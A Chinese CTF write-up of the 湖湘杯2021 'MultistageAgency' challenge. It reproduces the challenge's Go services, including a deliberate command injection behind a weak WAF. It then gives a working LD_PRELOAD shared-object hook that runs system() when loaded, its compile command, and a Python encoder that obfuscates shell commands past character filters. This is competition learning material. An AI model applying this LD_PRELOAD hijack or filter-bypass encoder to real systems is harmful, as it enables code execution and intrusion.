湖湘杯2021 MultistageAgency 解题思路
前言
这题是昨天湖湘杯线下的一个题目。修起来并不困难。但是解起来非常困难(想不起来.png) 在赛场最后半小时有一个队伍才出一血。膜膜膜 赛后和一血师傅交流了一下。这里复现一下
代码审计
题目给了三个程序 分别是 proxy
,server
,web
其中 proxy在内网的8080端口,主要是提供返回Secretkey
的功能
package main
import (
"github.com/elazarl/goproxy"
"io/ioutil"
"log"
"net/http"
"os"
)
func main() {
file, err := os.Open("secret/key") //读取当前目录下的key
if err != nil {
panic(err)
}
defer file.Close()
content, err := ioutil.ReadAll(file)
SecretKey := string(content)
proxy := goproxy.NewProxyHttpServer()
proxy.Verbose = true
proxy.OnRequest().DoFunc(
func(r *http.Request,ctx *goproxy.ProxyCtx)(*http.Request,*http.Response) {
r.Header.Set("Secretkey",SecretKey) //返回的请求头设置Secretkey
return r,nil
})
log.Print("start listen 8080")
log.Fatal(http.ListenAndServe(":8080", proxy))
}
server端
package main
import (
"bytes"
"crypto/md5"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"os/exec"
"unicode"
)
// 检查来源ip为本地才继续执行
var SecretKey = ""
func getToken(w http.ResponseWriter, r *http.Request) {
header := r.Header
token := "error"
var sks []string = header["Secretkey"]
sk := ""
if len(sks) == 1 {
sk = sks[0]
}
var fromHosts []string = header["Fromhost"]
fromHost := ""
if len(fromHosts) == 1 {
fromHost = fromHosts[0]
}
if fromHost != "" && sk != "" && sk == SecretKey {
data := []byte(sk + fromHost)
has := md5.Sum(data)
token = fmt.Sprintf("%x", has)
}
fmt.Fprintf(w, token)
}
func manage(w http.ResponseWriter, r *http.Request) {
values := r.URL.Query()
m := values.Get("m")
if !waf(m) {
fmt.Fprintf(w, "waf!")
return
}
cmd := fmt.Sprintf("rm -rf uploads/%s", m)
fmt.Println(cmd)
command := exec.Command("bash", "-c", cmd)
outinfo := bytes.Buffer{}
outerr := bytes.Buffer{}
command.Stdout = &outinfo
command.Stderr = &outerr
err := command.Start()
res := "ERROR"
if err != nil {
fmt.Println(err.Error())
}
if err = command.Wait(); err != nil {
res = outerr.String()
} else {
res = outinfo.String()
}
fmt.Fprintf(w, res)
}
func waf(c string) bool {
var t int32
t = 0
blacklist := []string{".", "*", "?"}
for _, s := range c {
for _, b := range blacklist {
if b == string(s) {
return false
}
}
if unicode.IsLetter(s) {
if t == s {
continue
}
if t == 0 {
t = s
} else {
return false
}
}
}
return true
}
func main() {
file, err := os.Open("secret/key")
if err != nil {
panic(err)
}
defer file.Close()
content, err := ioutil.ReadAll(file)
SecretKey = string(content)
http.HandleFunc("/", getToken) //设置访问的路由
http.HandleFunc("/manage", manage) //设置访问的路由
log.Print("start listen 9091")
err = http.ListenAndServe(":9091", nil) //设置监听的端口
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
读起来也不困难 有两个路由 一个是getToken 一个是manage 阅读manage的相关实现函数可以很明显的看到一个命令注入
会将我们传入的m作为参数拼接rm -rf
后执行。有一个waf
函数
func waf(c string) bool {
var t int32
t = 0
blacklist := []string{".", "*", "?"} //黑名单
for _, s := range c {
for _, b := range blacklist {
if b == string(s) {
return false
}
}
if unicode.IsLetter(s) { // 判断是否为一个字母字符
if t == s {
continue // 若下一个字符的ascii等于上一个字符 则继续 若不是 则返回false
}
if t == 0 {
t = s // 初始将传入字符的ascii赋值给t
} else {
return false
}
}
}
return true
}
web端
package main
import (
"bytes"
"crypto/md5"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"log"
"math/rand"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
)
var SecretKey = ""
type TokenResult struct {
Success string json:"success"
Failed string json:"failed"
}
const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
func RandStringBytes(n int) string {
b := make([]byte, n)
for i := range b {
b[i] = letterBytes[rand.Intn(len(letterBytes))]
}
return string(b)
}
func getToken(w http.ResponseWriter, r *http.Request) {
values := r.URL.Query()
fromHostList := strings.Split(r.RemoteAddr, ":") // 获取来源ip
fromHost := ""
if len(fromHostList) == 2 {
fromHost = fromHostList[0]
}
r.Header.Set("Fromhost", fromHost)
command := exec.Command("curl", "-H", "Fromhost: "+fromHost, "127.0.0.1:9091")
for k, _ := range values {
command.Env = append(command.Env, fmt.Sprintf("%s=%s", k, values.Get(k))) //获取环境变量 将参数设置为环境变量 参数值设置为环境变量值
}
outinfo := bytes.Buffer{}
outerr := bytes.Buffer{}
command.Stdout = &outinfo
command.Stderr = &outerr
err := command.Start()
//res := "ERROR"
if err != nil {
fmt.Println(err.Error())
}
res := TokenResult{}
if err = command.Wait(); err != nil {
res.Failed = outerr.String()
}
res.Success = outinfo.String()
msg, _ := json.Marshal(res)
w.Write(msg)
}
type ListFileResult struct {
Files []string json:"files"
}
// 查看当前 token 下的文件
func listFile(w http.ResponseWriter, r *http.Request) {
values := r.URL.Query()
token := values.Get("token")
fromHostList := strings.Split(r.RemoteAddr, ":")
fromHost := ""
if len(fromHostList) == 2 {
fromHost = fromHostList[0]
}
// 验证token
if token != "" && checkToken(token, fromHost) {
dir := filepath.Join("uploads",token) // 带着token获取已经上传的文件
files, err := ioutil.ReadDir(dir)
if err == nil {
var fs []string
for _, f := range files {
fs = append(fs, f.Name())
}
msg, _ := json.Marshal(ListFileResult{Files: fs})
w.Write(msg)
}
}
}
type UploadFileResult struct {
Code string json:"code"
}
func uploadFile(w http.ResponseWriter, r *http.Request) {
if r.Method == "GET" {
fmt.Fprintf(w, "get")
} else {
values := r.URL.Query()
token := values.Get("token")
fromHostList := strings.Split(r.RemoteAddr, ":")
fromHost := ""
if len(fromHostList) == 2 {
fromHost = fromHostList[0]
}
//验证token
if token != "" && checkToken(token, fromHost) {
dir := filepath.Join("uploads",token) // 将获取到的token新建文件夹
if _, err := os.Stat(dir); err != nil {
os.MkdirAll(dir, 0766)
}
files, err := ioutil.ReadDir(dir)
if len(files) > 5 {
command := exec.Command("curl", "127.0.0.1:9091/manage") // 如果文件大于五个在访问则清空
command.Start()
}
r.ParseMultipartForm(32 << 20)
file, _, err := r.FormFile("file")
if err != nil {
msg, _ := json.Marshal(UploadFileResult{Code: err.Error()})
w.Write(msg)
return
}
defer file.Close()
fileName := RandStringBytes(5)
f, err := os.OpenFile(filepath.Join(dir, fileName), os.O_WRONLY|os.O_CREATE, 0666)
if err != nil {
fmt.Println(err)
return
}
defer f.Close()
io.Copy(f, file)
msg, _ := json.Marshal(UploadFileResult{Code: fileName})
w.Write(msg)
} else {
msg, _ := json.Marshal(UploadFileResult{Code: "ERROR TOKEN"})
w.Write(msg)
}
}
}
func checkToken(token, ip string) bool {
data := []byte(SecretKey + ip)
has := md5.Sum(data)
md5str := fmt.Sprintf("%x", has)
return md5str == token
}
func IndexHandler (w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r,"dist/index.html")
}
func main() {
file, err := os.Open("secret/key")
if err != nil {
panic(err)
}
defer file.Close()
content, err := ioutil.ReadAll(file)
SecretKey = string(content)
http.HandleFunc("/", IndexHandler)
fs := http.FileServer(http.Dir("dist/static"))
http.Handle("/static/", http.StripPrefix("/static/", fs))
http.HandleFunc("/token", getToken)
http.HandleFunc("/upload", uploadFile)
http.HandleFunc("/list", listFile)
log.Print("start listen 9090")
err = http.ListenAndServe(":9090", nil)
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
读起来也不太困难 关键部分都做了一些注释
通读完成源码有了一个基本的利用思路。 通过SSRF 9091端口的manage路由 达到命令注入的效果 从而拿到flag
那么如何完成 SSRF 我们可以发现对外开放的web服务无法直接访问该路由 且可控的地方只有注入环境变量+文件上传
在赛场上 我发现这个题目可以通到选手本机。
所以产生了最开始的思路:去伪造一个什么东西让他ssrf 后来觉得不太现实
后来的思路是有那么一个可控的环境变量 类似于http_proxy
这样 可以带着可控的参数和url直接访问 然后就死在了这上面
一直在寻找这样的环境变量
解题
大家应该都知道利用LD_PRELOAD
之后使用putenv
的方式bypass php的disable_func
而LD_PRELOAD 是 Linux 系统中的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。
可以发现这里注入完成环境变量后执行了一遍系统命令 这样就可以触发恶意so文件 达到我们的目的
其实说到这里思路已经非常清晰了 利用所给的文件上传,上传恶意so文件。
劫持系统函数来达到命令执行 从而攻击服务器上9091端口的命令注入!
通过查看给的start.sh
也可以发现这题目
echo cat /proc/sys/kernel/random/uuid | md5sum |cut -c 1-9
> /tmp/secret/key
su - web -c "/code/bin/web 2>&1 >/code/logs/web.log &"
su - web -c "/code/bin/proxy 2>&1 >/code/logs/proxy.log &"
/code/bin/server 2>&1 >/code/logs/server.log &
tail -f /code/logs/*
其他两个服务都是web用户 只有server是root 且flag是400权限
那么我们首先写一个恶意的so
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("touch /tmp/success");
}
int strncmp(const char *__s1, const char *__s2, size_t __n) { // 这里函数的定义可以根据报错信息进行确定
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
通过gcc编译
gcc -shared -fPIC hook_strncmp.c -o hook_strncmp.so
之后上传文件 通过web的token路由可以获取我们现在的token 也就是上传目录
之后上传已经构造好的so文件 在同样的接口注入LD_PRELOAD
可以发现命令执行成功了 tmp下出现了我们所touch的文件
之后就可以直接打9091的命令注入了
后面绕字符可以用安洵杯2020的exp
n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'
f=''
def str_to_oct(cmd):
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s+='\\'+o
return s
def build(cmd):
payload = "$0<<<$0\<\<\<\$\\\'"
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''
print(build('cat /flag'))